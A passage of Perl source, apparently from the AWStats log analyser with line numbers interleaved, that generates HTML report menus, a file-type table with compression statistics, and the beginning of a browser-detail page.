 
10056
                                'alldomains'     => 2,
 
10057
                                'visitors'       => 1,
 
10058
                                'allhosts'       => 2,
 
10059
                                'lasthosts'      => 2,
 
10060
                                'unknownip'      => 2,
 
10061
                                'logins'         => 1,
 
10062
                                'alllogins'      => 2,
 
10063
                                'lastlogins'     => 2,
 
10064
                                'emailsenders'   => 1,
 
10065
                                'allemails'      => 2,
 
10066
                                'lastemails'     => 2,
 
10067
                                'emailreceivers' => 1,
 
10068
                                'allemailr'      => 2,
 
10069
                                'lastemailr'     => 2,
 
10070
                                'robots'         => 1,
 
10071
                                'allrobots'      => 2,
 
10072
                                'lastrobots'     => 2,
 
10073
                                'worms'          => 1
 
10074
                        );
 
10075
                        %menutext = (
 
10076
                                'countries'      => $Message[148],
 
10077
                                'alldomains'     => $Message[80],
 
10078
                                'visitors'       => $Message[81],
 
10079
                                'allhosts'       => $Message[80],
 
10080
                                'lasthosts'      => $Message[9],
 
10081
                                'unknownip'      => $Message[45],
 
10082
                                'logins'         => $Message[94],
 
10083
                                'alllogins'      => $Message[80],
 
10084
                                'lastlogins'     => $Message[9],
 
10085
                                'emailsenders'   => $Message[131],
 
10086
                                'allemails'      => $Message[80],
 
10087
                                'lastemails'     => $Message[9],
 
10088
                                'emailreceivers' => $Message[132],
 
10089
                                'allemailr'      => $Message[80],
 
10090
                                'lastemailr'     => $Message[9],
 
10091
                                'robots'         => $Message[53],
 
10092
                                'allrobots'      => $Message[80],
 
10093
                                'lastrobots'     => $Message[9],
 
10094
                                'worms'          => $Message[136]
 
10095
                        );
 
10096
                        HTMLShowMenuCateg(
 
10097
                                'who',          $Message[92],
 
10098
                                'menu5.png',    $frame,
 
10099
                                $targetpage,    $linkanchor,
 
10100
                                $NewLinkParams, $NewLinkTarget,
 
10101
                                \%menu,         \%menulink,
 
10102
                                \%menutext
 
10103
                        );
 
10104
 
 
10105
                        # Navigation
 
10106
                        $linetitle = &AtLeastOneNotNull(
 
10107
                                $ShowSessionsStats,  $ShowPagesStats,
 
10108
                                $ShowFileTypesStats, $ShowFileSizesStats,
 
10109
                                $ShowOSStats,        $ShowBrowsersStats,
 
10110
                                $ShowScreenSizeStats, $ShowDownloadsStats
 
10111
                        );
 
10112
                        if ($linetitle) {
 
10113
                                print "<tr><td class=\"awsm\""
 
10114
                                  . ( $frame ? "" : " valign=\"top\"" ) . ">"
 
10115
                                  . (
 
10116
                                        $menuicon
 
10117
                                        ? "<img src=\"$DirIcons/other/menu2.png\" />&nbsp;"
 
10118
                                        : ""
 
10119
                                  )
 
10120
                                  . "<b>$Message[72]:</b></td>\n";
 
10121
                        }
 
10122
                        if ($linetitle) {
 
10123
                                print( $frame? "</tr>\n" : "<td class=\"awsm\">" );
 
10124
                        }
 
10125
                        if ($ShowSessionsStats) {
 
10126
                                print( $frame? "<tr><td class=\"awsm\">" : "" );
 
10127
                                print
 
10128
"<a href=\"$linkanchor#sessions\"$targetpage>$Message[117]</a>";
 
10129
                                print( $frame? "</td></tr>\n" : " &nbsp; " );
 
10130
                        }
 
10131
                        if ($ShowFileTypesStats && $LevelForFileTypesDetection > 0) {
 
10132
                                print( $frame? "<tr><td class=\"awsm\">" : "" );
 
10133
                                print
 
10134
"<a href=\"$linkanchor#filetypes\"$targetpage>$Message[73]</a>";
 
10135
                                print( $frame? "</td></tr>\n" : " &nbsp; " );
 
10136
                        }
 
10137
                        if ($ShowDownloadsStats && $LevelForFileTypesDetection > 0) {
 
10138
                                print( $frame? "<tr><td class=\"awsm\">" : "" );
 
10139
                                print
 
10140
"<a href=\"$linkanchor#downloads\"$targetpage>$Message[178]</a>";
 
10141
                                print( $frame? "</td></tr>\n" : " &nbsp; " );
 
10142
                                print( $frame
 
10143
                                        ? "<tr><td class=\"awsm\"> &nbsp; <img height=\"8\" width=\"9\" src=\"$DirIcons/other/page.png\" alt=\"...\" /> "
 
10144
                                        : ""
 
10145
                                );
 
10146
                                print "<a href=\""
 
10147
                                  . (
 
10148
                                        $ENV{'GATEWAY_INTERFACE'} || !$StaticLinks
 
10149
                                        ? XMLEncode(
 
10150
                                                "$AWScript${NewLinkParams}output=downloads")
 
10151
                                        : "$StaticLinks.downloads.$StaticExt"
 
10152
                                  )
 
10153
                                  . "\"$NewLinkTarget>$Message[80]</a>\n";
 
10154
                                print( $frame? "</td></tr>\n" : " &nbsp; " );
 
10155
                        }
 
10156
                        if ($ShowPagesStats) {
 
10157
                                print( $frame? "<tr><td class=\"awsm\">" : "" );
 
10158
                                print
 
10159
"<a href=\"$linkanchor#urls\"$targetpage>$Message[29]</a>\n";
 
10160
                                print( $frame? "</td></tr>\n" : " &nbsp; " );
 
10161
                        }
 
10162
                        if ($ShowPagesStats) {
 
10163
                                print( $frame
 
10164
                                        ? "<tr><td class=\"awsm\"> &nbsp; <img height=\"8\" width=\"9\" src=\"$DirIcons/other/page.png\" alt=\"...\" /> "
 
10165
                                        : ""
 
10166
                                );
 
10167
                                print "<a href=\""
 
10168
                                  . (
 
10169
                                        $ENV{'GATEWAY_INTERFACE'} || !$StaticLinks
 
10170
                                        ? XMLEncode(
 
10171
                                                "$AWScript${NewLinkParams}output=urldetail")
 
10172
                                        : "$StaticLinks.urldetail.$StaticExt"
 
10173
                                  )
 
10174
                                  . "\"$NewLinkTarget>$Message[80]</a>\n";
 
10175
                                print( $frame? "</td></tr>\n" : " &nbsp; " );
 
10176
                        }
 
10177
                        if ( $ShowPagesStats =~ /E/i ) {
 
10178
                                print( $frame
 
10179
                                        ? "<tr><td class=\"awsm\"> &nbsp; <img height=\"8\" width=\"9\" src=\"$DirIcons/other/page.png\" alt=\"...\" /> "
 
10180
                                        : ""
 
10181
                                );
 
10182
                                print "<a href=\""
 
10183
                                  . (
 
10184
                                        $ENV{'GATEWAY_INTERFACE'} || !$StaticLinks
 
10185
                                        ? XMLEncode(
 
10186
                                                "$AWScript${NewLinkParams}output=urlentry")
 
10187
                                        : "$StaticLinks.urlentry.$StaticExt"
 
10188
                                  )
 
10189
                                  . "\"$NewLinkTarget>$Message[104]</a>\n";
 
10190
                                print( $frame? "</td></tr>\n" : " &nbsp; " );
 
10191
                        }
 
10192
                        if ( $ShowPagesStats =~ /X/i ) {
 
10193
                                print( $frame
 
10194
                                        ? "<tr><td class=\"awsm\"> &nbsp; <img height=\"8\" width=\"9\" src=\"$DirIcons/other/page.png\" alt=\"...\" /> "
 
10195
                                        : ""
 
10196
                                );
 
10197
                                print "<a href=\""
 
10198
                                  . (
 
10199
                                        $ENV{'GATEWAY_INTERFACE'}
 
10200
                                          || !$StaticLinks
 
10201
                                        ? XMLEncode("$AWScript${NewLinkParams}output=urlexit")
 
10202
                                        : "$StaticLinks.urlexit.$StaticExt"
 
10203
                                  )
 
10204
                                  . "\"$NewLinkTarget>$Message[116]</a>\n";
 
10205
                                print( $frame? "</td></tr>\n" : " &nbsp; " );
 
10206
                        }
 
10207
                        if ($ShowOSStats) {
 
10208
                                print( $frame? "<tr><td class=\"awsm\">" : "" );
 
10209
                                print
 
10210
                                  "<a href=\"$linkanchor#os\"$targetpage>$Message[59]</a>";
 
10211
                                print( $frame? "</td></tr>\n" : " &nbsp; " );
 
10212
                        }
 
10213
                        if ($ShowOSStats) {
 
10214
                                print( $frame
 
10215
                                        ? "<tr><td class=\"awsm\"> &nbsp; <img height=\"8\" width=\"9\" src=\"$DirIcons/other/page.png\" alt=\"...\" /> "
 
10216
                                        : ""
 
10217
                                );
 
10218
                                print "<a href=\""
 
10219
                                  . (
 
10220
                                        $ENV{'GATEWAY_INTERFACE'} || !$StaticLinks
 
10221
                                        ? XMLEncode(
 
10222
                                                "$AWScript${NewLinkParams}output=osdetail")
 
10223
                                        : "$StaticLinks.osdetail.$StaticExt"
 
10224
                                  )
 
10225
                                  . "\"$NewLinkTarget>$Message[58]</a>\n";
 
10226
                                print( $frame? "</td></tr>\n" : " &nbsp; " );
 
10227
                        }
 
10228
                        if ($ShowOSStats) {
 
10229
                                print( $frame
 
10230
                                        ? "<tr><td class=\"awsm\"> &nbsp; <img height=\"8\" width=\"9\" src=\"$DirIcons/other/page.png\" alt=\"...\" /> "
 
10231
                                        : ""
 
10232
                                );
 
10233
                                print "<a href=\""
 
10234
                                  . (
 
10235
                                        $ENV{'GATEWAY_INTERFACE'} || !$StaticLinks
 
10236
                                        ? XMLEncode(
 
10237
                                                "$AWScript${NewLinkParams}output=unknownos")
 
10238
                                        : "$StaticLinks.unknownos.$StaticExt"
 
10239
                                  )
 
10240
                                  . "\"$NewLinkTarget>$Message[0]</a>\n";
 
10241
                                print( $frame? "</td></tr>\n" : " &nbsp; " );
 
10242
                        }
 
10243
                        if ($ShowBrowsersStats) {
 
10244
                                print( $frame? "<tr><td class=\"awsm\">" : "" );
 
10245
                                print
 
10246
"<a href=\"$linkanchor#browsers\"$targetpage>$Message[21]</a>";
 
10247
                                print( $frame? "</td></tr>\n" : " &nbsp; " );
 
10248
                        }
 
10249
                        if ($ShowBrowsersStats) {
 
10250
                                print( $frame
 
10251
                                        ? "<tr><td class=\"awsm\"> &nbsp; <img height=\"8\" width=\"9\" src=\"$DirIcons/other/page.png\" alt=\"...\" /> "
 
10252
                                        : ""
 
10253
                                );
 
10254
                                print "<a href=\""
 
10255
                                  . (
 
10256
                                        $ENV{'GATEWAY_INTERFACE'} || !$StaticLinks
 
10257
                                        ? XMLEncode(
 
10258
                                                "$AWScript${NewLinkParams}output=browserdetail")
 
10259
                                        : "$StaticLinks.browserdetail.$StaticExt"
 
10260
                                  )
 
10261
                                  . "\"$NewLinkTarget>$Message[58]</a>\n";
 
10262
                                print( $frame? "</td></tr>\n" : " &nbsp; " );
 
10263
                        }
 
10264
                        if ($ShowBrowsersStats) {
 
10265
                                print( $frame
 
10266
                                        ? "<tr><td class=\"awsm\"> &nbsp; <img height=\"8\" width=\"9\" src=\"$DirIcons/other/page.png\" alt=\"...\" /> "
 
10267
                                        : ""
 
10268
                                );
 
10269
                                print "<a href=\""
 
10270
                                  . (
 
10271
                                        $ENV{'GATEWAY_INTERFACE'} || !$StaticLinks
 
10272
                                        ? XMLEncode(
 
10273
                                                "$AWScript${NewLinkParams}output=unknownbrowser")
 
10274
                                        : "$StaticLinks.unknownbrowser.$StaticExt"
 
10275
                                  )
 
10276
                                  . "\"$NewLinkTarget>$Message[0]</a>\n";
 
10277
                                print( $frame? "</td></tr>\n" : " &nbsp; " );
 
10278
                        }
 
10279
                        if ($ShowScreenSizeStats) {
 
10280
                                print( $frame? "<tr><td class=\"awsm\">" : "" );
 
10281
                                print
 
10282
"<a href=\"$linkanchor#screensizes\"$targetpage>$Message[135]</a>";
 
10283
                                print( $frame? "</td></tr>\n" : " &nbsp; " );
 
10284
                        }
 
10285
                        if ($linetitle) { print( $frame? "" : "</td></tr>\n" ); }
 
10286
 
 
10287
                        # Referers
 
10288
                        %menu = (
 
10289
                                'referer'      => $ShowOriginStats ? 1 : 0,
 
10290
                                'refererse'    => $ShowOriginStats ? 2 : 0,
 
10291
                                'refererpages' => $ShowOriginStats ? 3 : 0,
 
10292
                                'keys' => ( $ShowKeyphrasesStats || $ShowKeywordsStats )
 
10293
                                ? 4
 
10294
                                : 0,
 
10295
                                'keyphrases' => $ShowKeyphrasesStats ? 5 : 0,
 
10296
                                'keywords'   => $ShowKeywordsStats   ? 6 : 0
 
10297
                        );
 
10298
                        %menulink = (
 
10299
                                'referer'      => 1,
 
10300
                                'refererse'    => 2,
 
10301
                                'refererpages' => 2,
 
10302
                                'keys'         => 1,
 
10303
                                'keyphrases'   => 2,
 
10304
                                'keywords'     => 2
 
10305
                        );
 
10306
                        %menutext = (
 
10307
                                'referer'      => $Message[37],
 
10308
                                'refererse'    => $Message[126],
 
10309
                                'refererpages' => $Message[127],
 
10310
                                'keys'         => $Message[14],
 
10311
                                'keyphrases'   => $Message[120],
 
10312
                                'keywords'     => $Message[121]
 
10313
                        );
 
10314
                        HTMLShowMenuCateg(
 
10315
                                'referers',     $Message[23],
 
10316
                                'menu7.png',    $frame,
 
10317
                                $targetpage,    $linkanchor,
 
10318
                                $NewLinkParams, $NewLinkTarget,
 
10319
                                \%menu,         \%menulink,
 
10320
                                \%menutext
 
10321
                        );
 
10322
 
 
10323
                        # Others
 
10324
                        %menu = (
 
10325
                                'filetypes' => ( $ShowFileTypesStats =~ /C/i ) ? 1 : 0,
 
10326
                                'misc' => $ShowMiscStats ? 2 : 0,
 
10327
                                'errors' => ( $ShowHTTPErrorsStats || $ShowSMTPErrorsStats )
 
10328
                                ? 3
 
10329
                                : 0,
 
10330
                                'clusters' => $ShowClusterStats ? 5 : 0
 
10331
                        );
 
10332
                        %menulink = (
 
10333
                                'filetypes' => 1,
 
10334
                                'misc'      => 1,
 
10335
                                'errors'    => 1,
 
10336
                                'clusters'  => 1
 
10337
                        );
 
10338
                        %menutext = (
 
10339
                                'filetypes' => $Message[98],
 
10340
                                'misc'      => $Message[139],
 
10341
                                'errors'    =>
 
10342
                                  ( $ShowSMTPErrorsStats ? $Message[147] : $Message[32] ),
 
10343
                                'clusters' => $Message[155]
 
10344
                        );
 
10345
                        foreach ( keys %TrapInfosForHTTPErrorCodes ) {
 
10346
                                $menu{"errors$_"}     = $ShowHTTPErrorsStats ? 4 : 0;
 
10347
                                $menulink{"errors$_"} = 2;
 
10348
                                $menutext{"errors$_"} = $Message[31];
 
10349
                        }
 
10350
                        HTMLShowMenuCateg(
 
10351
                                'others',       $Message[2],
 
10352
                                'menu8.png',    $frame,
 
10353
                                $targetpage,    $linkanchor,
 
10354
                                $NewLinkParams, $NewLinkTarget,
 
10355
                                \%menu,         \%menulink,
 
10356
                                \%menutext
 
10357
                        );
 
10358
 
 
10359
                        # Extra/Marketing
 
10360
                        %menu     = ();
 
10361
                        %menulink = ();
 
10362
                        %menutext = ();
 
10363
                        my $i = 1;
 
10364
                        foreach ( 1 .. @ExtraName - 1 ) {
 
10365
                                $menu{"extra$_"}        = $i++;
 
10366
                                $menulink{"extra$_"}    = 1;
 
10367
                                $menutext{"extra$_"}    = $ExtraName[$_];
 
10368
                                $menu{"allextra$_"}     = $i++;
 
10369
                                $menulink{"allextra$_"} = 2;
 
10370
                                $menutext{"allextra$_"} = $Message[80];
 
10371
                        }
 
10372
                        HTMLShowMenuCateg(
 
10373
                                'extra',        $Message[134],
 
10374
                                '',             $frame,
 
10375
                                $targetpage,    $linkanchor,
 
10376
                                $NewLinkParams, $NewLinkTarget,
 
10377
                                \%menu,         \%menulink,
 
10378
                                \%menutext
 
10379
                        );
 
10380
                        print "</table>\n";
 
10381
                }
 
10382
                else {
 
10383
 
 
10384
                        # Menu Applet
 
10385
                        if ($frame) { }
 
10386
                        else { }
 
10387
                }
 
10388
 
 
10389
                #print ($frame?"":"<br />\n");
 
10390
                print "<br />\n";
 
10391
        }
 
10392
 
 
10393
        # Print Back link
 
10394
        elsif ( !$HTMLOutput{'main'} ) {
 
10395
                print "<table>\n";
 
10396
                $NewLinkParams =~ s/(^|&|&amp;)hostfilter=[^&]*//i;
 
10397
                $NewLinkParams =~ s/(^|&|&amp;)urlfilter=[^&]*//i;
 
10398
                $NewLinkParams =~ s/(^|&|&amp;)refererpagesfilter=[^&]*//i;
 
10399
                $NewLinkParams =~ s/(&amp;|&)+/&amp;/i;
 
10400
                $NewLinkParams =~ s/^&amp;//;
 
10401
                $NewLinkParams =~ s/&amp;$//;
 
10402
                if (   !$DetailedReportsOnNewWindows
 
10403
                        || $FrameName eq 'mainright'
 
10404
                        || $QueryString =~ /buildpdf/i )
 
10405
                {
 
10406
                        print "<tr><td class=\"aws\"><a href=\""
 
10407
                          . (
 
10408
                                $ENV{'GATEWAY_INTERFACE'} || !$StaticLinks
 
10409
                                ? XMLEncode("$AWScript${NewLinkParams}")
 
10410
                                : "$StaticLinks.$StaticExt"
 
10411
                          )
 
10412
                          . "\">$Message[76]</a></td></tr>\n";
 
10413
                }
 
10414
                else {
 
10415
                        print
 
10416
"<tr><td class=\"aws\"><a href=\"javascript:parent.window.close();\">$Message[118]</a></td></tr>\n";
 
10417
                }
 
10418
                print "</table>\n";
 
10419
                print "\n";
 
10420
        }
 
10421
}
 
10422
 
 
10423
#------------------------------------------------------------------------------
 
10424
# Function:     Prints the File Type table
 
10425
# Parameters:   _
 
10426
# Input:        _
 
10427
# Output:       HTML
 
10428
# Return:       -
 
10429
#------------------------------------------------------------------------------
 
10430
sub HTMLMainFileType{
 
10431
        if (!$LevelForFileTypesDetection > 0){return;}
 
10432
        if ($Debug) { debug( "ShowFileTypesStatsCompressionStats", 2 ); }
 
10433
        print "$Center<a name=\"filetypes\">&nbsp;</a><br />\n";
 
10434
        my $Totalh = 0;
 
10435
        foreach ( keys %_filetypes_h ) { $Totalh += $_filetypes_h{$_}; }
 
10436
        my $Totalk = 0;
 
10437
        foreach ( keys %_filetypes_k ) { $Totalk += $_filetypes_k{$_}; }
 
10438
        my $title = "$Message[73]";
 
10439
        if ( $ShowFileTypesStats =~ /C/i ) { $title .= " - $Message[98]"; }
 
10440
        
 
10441
        # build keylist at top
 
10442
        &BuildKeyList( $MaxRowsInHTMLOutput, 1, \%_filetypes_h,
 
10443
                \%_filetypes_h );
 
10444
                
 
10445
        &tab_head( "$title", 19, 0, 'filetypes' );
 
10446
                
 
10447
        # Graph the top five in a pie chart
 
10448
        if (scalar @keylist > 1){
 
10449
                foreach my $pluginname ( keys %{ $PluginsLoaded{'ShowGraph'} } )
 
10450
                {
 
10451
                        my @blocklabel = ();
 
10452
                        my @valdata = ();
 
10453
                        my @valcolor = ($color_p);
 
10454
                        my $cnt = 0;
 
10455
                        foreach my $key (@keylist) {
 
10456
                                push @valdata, int( $_filetypes_h{$key} / $Totalh * 1000 ) / 10;
 
10457
                                push @blocklabel, "$key";
 
10458
                                $cnt++;
 
10459
                                if ($cnt > 4) { last; }
 
10460
                        }
 
10461
                        print "<tr><td colspan=\"7\">";
 
10462
                        my $function = "ShowGraph_$pluginname";
 
10463
                        &$function(
 
10464
                                "$title",              "filetypes",
 
10465
                                0,                                              \@blocklabel,
 
10466
                                0,                              \@valcolor,
 
10467
                                0,                              0,
 
10468
                                0,                              \@valdata
 
10469
                        );
 
10470
                        print "</td></tr>";
 
10471
                }
 
10472
        }
 
10473
        
 
10474
        print
 
10475
"<tr bgcolor=\"#$color_TableBGRowTitle\"><th colspan=\"3\">$Message[73]</th>";
 
10476
 
 
10477
        if ( $ShowFileTypesStats =~ /H/i ) {
 
10478
                print "<th bgcolor=\"#$color_h\" width=\"80\""
 
10479
                  . Tooltip(4)
 
10480
                  . ">$Message[57]</th><th bgcolor=\"#$color_h\" width=\"80\">$Message[15]</th>";
 
10481
        }
 
10482
        if ( $ShowFileTypesStats =~ /B/i ) {
 
10483
                print "<th bgcolor=\"#$color_k\" width=\"80\""
 
10484
                  . Tooltip(5)
 
10485
                  . ">$Message[75]</th><th bgcolor=\"#$color_k\" width=\"80\">$Message[15]</th>";
 
10486
        }
 
10487
        if ( $ShowFileTypesStats =~ /C/i ) {
 
10488
                print
 
10489
"<th bgcolor=\"#$color_k\" width=\"100\">$Message[100]</th><th bgcolor=\"#$color_k\" width=\"100\">$Message[101]</th><th bgcolor=\"#$color_k\" width=\"100\">$Message[99]</th>";
 
10490
        }
 
10491
        print "</tr>\n";
 
10492
        my $total_con = 0;
 
10493
        my $total_cre = 0;
 
10494
        my $count     = 0;
 
10495
        foreach my $key (@keylist) {
 
10496
                my $p_h = '&nbsp;';
 
10497
                my $p_k = '&nbsp;';
 
10498
                if ($Totalh) {
 
10499
                        $p_h = int( $_filetypes_h{$key} / $Totalh * 1000 ) / 10;
 
10500
                        $p_h = "$p_h %";
 
10501
                }
 
10502
                if ($Totalk) {
 
10503
                        $p_k = int( $_filetypes_k{$key} / $Totalk * 1000 ) / 10;
 
10504
                        $p_k = "$p_k %";
 
10505
                }
 
10506
                if ( $key eq 'Unknown' ) {
 
10507
                        print "<tr><td"
 
10508
                          . ( $count ? "" : " width=\"$WIDTHCOLICON\"" )
 
10509
                          . "><img src=\"$DirIcons\/mime\/unknown.png\""
 
10510
                          . AltTitle("")
 
10511
                          . " /></td><td class=\"aws\" colspan=\"2\"><span style=\"color: #$color_other\">$Message[0]</span></td>";
 
10512
                }
 
10513
                else {
 
10514
                        my $nameicon = $MimeHashLib{$key}[0] || "notavailable";
 
10515
                        my $nametype = $MimeHashFamily{$MimeHashLib{$key}[0]} || "&nbsp;";
 
10516
                        print "<tr><td"
 
10517
                          . ( $count ? "" : " width=\"$WIDTHCOLICON\"" )
 
10518
                          . "><img src=\"$DirIcons\/mime\/$nameicon.png\""
 
10519
                          . AltTitle("")
 
10520
                          . " /></td><td class=\"aws\">$key</td>";
 
10521
                        print "<td class=\"aws\">$nametype</td>";
 
10522
                }
 
10523
                if ( $ShowFileTypesStats =~ /H/i ) {
 
10524
                        print "<td>".Format_Number($_filetypes_h{$key})."</td><td>$p_h</td>";
 
10525
                }
 
10526
                if ( $ShowFileTypesStats =~ /B/i ) {
 
10527
                        print '<td nowrap="nowrap">'
 
10528
                          . Format_Bytes( $_filetypes_k{$key} )
 
10529
                          . "</td><td>$p_k</td>";
 
10530
                }
 
10531
                if ( $ShowFileTypesStats =~ /C/i ) {
 
10532
                        if ( $_filetypes_gz_in{$key} ) {
 
10533
                                my $percent = int(
 
10534
                                        100 * (
 
10535
                                                1 - $_filetypes_gz_out{$key} /
 
10536
                                                  $_filetypes_gz_in{$key}
 
10537
                                        )
 
10538
                                );
 
10539
                                printf(
 
10540
                                        "<td>%s</td><td>%s</td><td>%s (%s%)</td>",
 
10541
                                        Format_Bytes( $_filetypes_gz_in{$key} ),
 
10542
                                        Format_Bytes( $_filetypes_gz_out{$key} ),
 
10543
                                        Format_Bytes(
 
10544
                                                $_filetypes_gz_in{$key} -
 
10545
                                                  $_filetypes_gz_out{$key}
 
10546
                                        ),
 
10547
                                        $percent
 
10548
                                );
 
10549
                                $total_con += $_filetypes_gz_in{$key};
 
10550
                                $total_cre += $_filetypes_gz_out{$key};
 
10551
                        }
 
10552
                        else {
 
10553
                                print "<td>&nbsp;</td><td>&nbsp;</td><td>&nbsp;</td>";
 
10554
                        }
 
10555
                }
 
10556
                print "</tr>\n";
 
10557
                $count++;
 
10558
        }
 
10559
 
 
10560
        # Add total (only usefull if compression is enabled)
 
10561
        if ( $ShowFileTypesStats =~ /C/i ) {
 
10562
                my $colspan = 3;
 
10563
                if ( $ShowFileTypesStats =~ /H/i ) { $colspan += 2; }
 
10564
                if ( $ShowFileTypesStats =~ /B/i ) { $colspan += 2; }
 
10565
                print "<tr>";
 
10566
                print
 
10567
"<td class=\"aws\" colspan=\"$colspan\"><b>$Message[98]</b></td>";
 
10568
                if ( $ShowFileTypesStats =~ /C/i ) {
 
10569
                        if ($total_con) {
 
10570
                                my $percent =
 
10571
                                  int( 100 * ( 1 - $total_cre / $total_con ) );
 
10572
                                printf(
 
10573
                                        "<td>%s</td><td>%s</td><td>%s (%s%)</td>",
 
10574
                                        Format_Bytes($total_con),
 
10575
                                        Format_Bytes($total_cre),
 
10576
                                        Format_Bytes( $total_con - $total_cre ),
 
10577
                                        $percent
 
10578
                                );
 
10579
                        }
 
10580
                        else {
 
10581
                                print "<td>&nbsp;</td><td>&nbsp;</td><td>&nbsp;</td>";
 
10582
                        }
 
10583
                }
 
10584
                print "</tr>\n";
 
10585
        }
 
10586
        &tab_end();
 
10587
}
 
10588
 
 
10589
#------------------------------------------------------------------------------
 
10590
# Function:     Prints the Browser Detail frame or static page
 
10591
# Parameters:   _
 
10592
# Input:        _
 
10593
# Output:       HTML
 
10594
# Return:       -
 
10595
#------------------------------------------------------------------------------
 
10596
sub HTMLShowBrowserDetail{
 
10597
        # Show browsers versions
 
10598
        print "$Center<a name=\"browsersversions\">&nbsp;</a><br />";
 
10599
        my $title = "$Message[21]";
 
10600
        &tab_head( "$title", 19, 0, 'browsersversions' );
 
10601
        print
 
10602
"<tr bgcolor=\"#$color_TableBGRowTitle\"><th colspan=\"2\">$Message[58]</th>";
 
10603
        print
 
10604
"<th width=\"80\">$Message[111]</th><th bgcolor=\"#$color_h\" width=\"80\">$Message[57]</th><th bgcolor=\"#$color_h\" width=\"80\">$Message[15]</th>";
 
10605
        print "<th>&nbsp;</th>";
 
10606
        print "</tr>\n";
 
10607
        my $total_h = 0;
 
10608
        my $count = 0;
 
10609
        &BuildKeyList( MinimumButNoZero( scalar keys %_browser_h, 500 ),
 
10610
                1, \%_browser_h, \%_browser_h );
 
10611
        my %keysinkeylist = ();
 
10612
        my $max_h = 1;
 
10613
 
 
10614
        # Count total by family
 
10615
        my %totalfamily_h = ();
 
10616
        my $TotalFamily   = 0;
 
10617
  BROWSERLOOP: foreach my $key (@keylist) {
 
10618
                $total_h += $_browser_h{$key};
 
10619
                if ( $_browser_h{$key} > $max_h ) {
 
10620
                        $max_h = $_browser_h{$key};
 
10621
                }
 
10622
                foreach my $family ( keys %BrowsersFamily ) {
 
10623
                        if ( $key =~ /^$family/i ) {
 
10624
                                $totalfamily_h{$family} += $_browser_h{$key};
 
10625
                                $TotalFamily            += $_browser_h{$key};
 
10626
                                next BROWSERLOOP;
 
10627
                        }
 
10628
                }
 
10629
        }
 
10630
 
 
10631
        # Write records grouped in a browser family
 
10632
        foreach my $family (
 
10633
                sort { $BrowsersFamily{$a} <=> $BrowsersFamily{$b} }
 
10634
                keys %BrowsersFamily
 
10635
          )
 
10636
        {
 
10637
                my $p = '&nbsp;';
 
10638
                if ($total_h) {
 
10639
                        $p = int( $totalfamily_h{$family} / $total_h * 1000 ) / 10;
 
10640
                        $p = "$p %";
 
10641
                }
 
10642
                my $familyheadershown = 0;
 
10643
 
 
10644
                #foreach my $key ( reverse sort keys %_browser_h ) {
 
10645
                foreach my $key ( reverse sort SortBrowsers keys %_browser_h ) {
 
10646
                        if ( $key =~ /^$family(.*)/i ) {
 
10647
                                if ( !$familyheadershown ) {
 
10648
                                        print
 
10649
"<tr bgcolor=\"#F6F6F6\"><td class=\"aws\" colspan=\"2\"><b>"
 
10650
                                  . uc($family)
 
10651
                                  . "</b></td>";
 
10652
                                print "<td>&nbsp;</td><td><b>"
 
10653
                                  . Format_Number(int( $totalfamily_h{$family} ))
 
10654
                                  . "</b></td><td><b>$p</b></td><td>&nbsp;</td>";
 
10655
                                print "</tr>\n";
 
10656
                                $familyheadershown = 1;
 
10657
                        }
 
10658
                        $keysinkeylist{$key} = 1;
 
10659
                        my $ver = $1;
 
10660
                        my $p   = '&nbsp;';
 
10661
                        if ($total_h) {
 
10662
                                $p =
 
10663
                                  int( $_browser_h{$key} / $total_h * 1000 ) / 10;
 
10664
                                $p = "$p %";
 
10665
                        }
 
10666
                        print "<tr>";
 
10667
                        print "<td"
 
10668
                          . ( $count ? "" : " width=\"$WIDTHCOLICON\"" )
 
10669
                          . "><img src=\"$DirIcons\/browser\/$family.png\""
 
10670
                          . AltTitle("")
 
10671
                          . " /></td>";
 
10672
                        print "<td class=\"aws\">"
 
10673
                          . ucfirst($family) . " "
 
10674
                          . ( $ver ? "$ver" : "?" ) . "</td>";
 
10675
                        print "<td>"
 
10676
                          . (
 
10677
                                $BrowsersHereAreGrabbers{$family}
 
10678
                                ? "<b>$Message[112]</b>"
 
10679
                                : "$Message[113]"
 
10680
                          )
 
10681
                          . "</td>";
 
10682
                        my $bredde_h = 0;
 
10683
                        if ( $max_h > 0 ) {
 
10684
                                $bredde_h =
 
10685
                                  int( $BarWidth * ( $_browser_h{$key} || 0 ) /
 
10686
                                          $max_h ) + 1;
 
10687
                        }
 
10688
                        if ( ( $bredde_h == 1 ) && $_browser_h{$key} ) {
 
10689
                                $bredde_h = 2;
 
10690
                        }
 
10691
                        print "<td>".Format_Number($_browser_h{$key})."</td><td>$p</td>";
 
10692
                        print "<td class=\"aws\">";
 
10693
 
 
10694
                        # alt and title are not provided to reduce page size
 
10695
                        if ($ShowBrowsersStats) {
 
10696
                                print
 
10697
"<img src=\"$DirIcons\/other\/$BarPng{'hh'}\" width=\"$bredde_h\" height=\"5\" /><br />";
 
10698
                                }
 
10699
                                print "</td>";
 
10700
                                print "</tr>\n";
 
10701
                                $count++;
 
10702
                        }
 
10703
                }
 
10704
        }
 
10705
 
 
10706
        # Write other records
 
10707
        my $familyheadershown = 0;
 
10708
        foreach my $key (@keylist) {
 
10709
                if ( $keysinkeylist{$key} ) { next; }
 
10710
                if ( !$familyheadershown )  {
 
10711
                        my $p = '&nbsp;';
 
10712
                        if ($total_h) {
 
10713
                                $p =
 
10714
                                  int( ( $total_h - $TotalFamily ) / $total_h * 1000 ) /
 
10715
                                  10;
 
10716
                                $p = "$p %";
 
10717
                        }
 
10718
                        print
 
10719
"<tr bgcolor=\"#F6F6F6\"><td class=\"aws\" colspan=\"2\"><b>$Message[2]</b></td>";
 
10720
                        print "<td>&nbsp;</td><td><b>"
 
10721
                          . Format_Number(( $total_h - $TotalFamily ))
 
10722
                          . "</b></td><td><b>$p</b></td><td>&nbsp;</td>";
 
10723
                        print "</tr>\n";
 
10724
                        $familyheadershown = 1;
 
10725
                }
 
10726
                my $p = '&nbsp;';
 
10727
                if ($total_h) {
 
10728
                        $p = int( $_browser_h{$key} / $total_h * 1000 ) / 10;
 
10729
                        $p = "$p %";
 
10730
                }
 
10731
                print "<tr>";
 
10732
                if ( $key eq 'Unknown' ) {
 
10733
                        print "<td"
 
10734
                          . ( $count ? "" : " width=\"$WIDTHCOLICON\"" )
 
10735
                          . "><img src=\"$DirIcons\/browser\/unknown.png\""
 
10736
                          . AltTitle("")
 
10737
                          . " /></td><td class=\"aws\"><span style=\"color: #$color_other\">$Message[0]</span></td><td width=\"80\">?</td>";
 
10738
                }
 
10739
                else {
 
10740
                        my $keywithoutcumul = $key;
 
10741
